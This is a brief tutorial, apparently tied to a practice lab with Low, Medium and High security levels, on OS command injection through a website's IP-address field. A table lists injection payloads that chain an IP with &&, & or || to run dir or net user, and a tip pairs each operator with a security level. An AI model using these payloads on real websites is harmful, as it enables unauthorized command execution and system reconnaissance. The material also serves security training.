Execute commands on a Operating system via a website
Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies etc.) to a system shell.
💡 In simple word command injection is performed where the page is executing a command
192.168.43.170 && dir
Syntax : <Ip Address>< Operator ><CMD>
CMD Name | Security Lavel | Description |
---|---|---|
192.168.43.178 && dir | Low | By using this command, we can see the directory of the website. |
192.168.43.178 & dir | Medium | By using this command, we can see the directory of the website. |
192.168.43.178 || dir | High | By using this command, we can see the directory of the website. |
192.168.43.1 && net user | Low | By using this command, we can see the administrator of the system. |
192.168.43.1 & net user | Medium | By using this command, we can see the administrator of the system. |
192.168.43.1 || net user | High | By using this command, we can see the administrator of the system. |
ipconfig,help etc command work just follow the syntax
💡 Tip: Use (&&) for Low Security , (&) for medium security , (||) for high security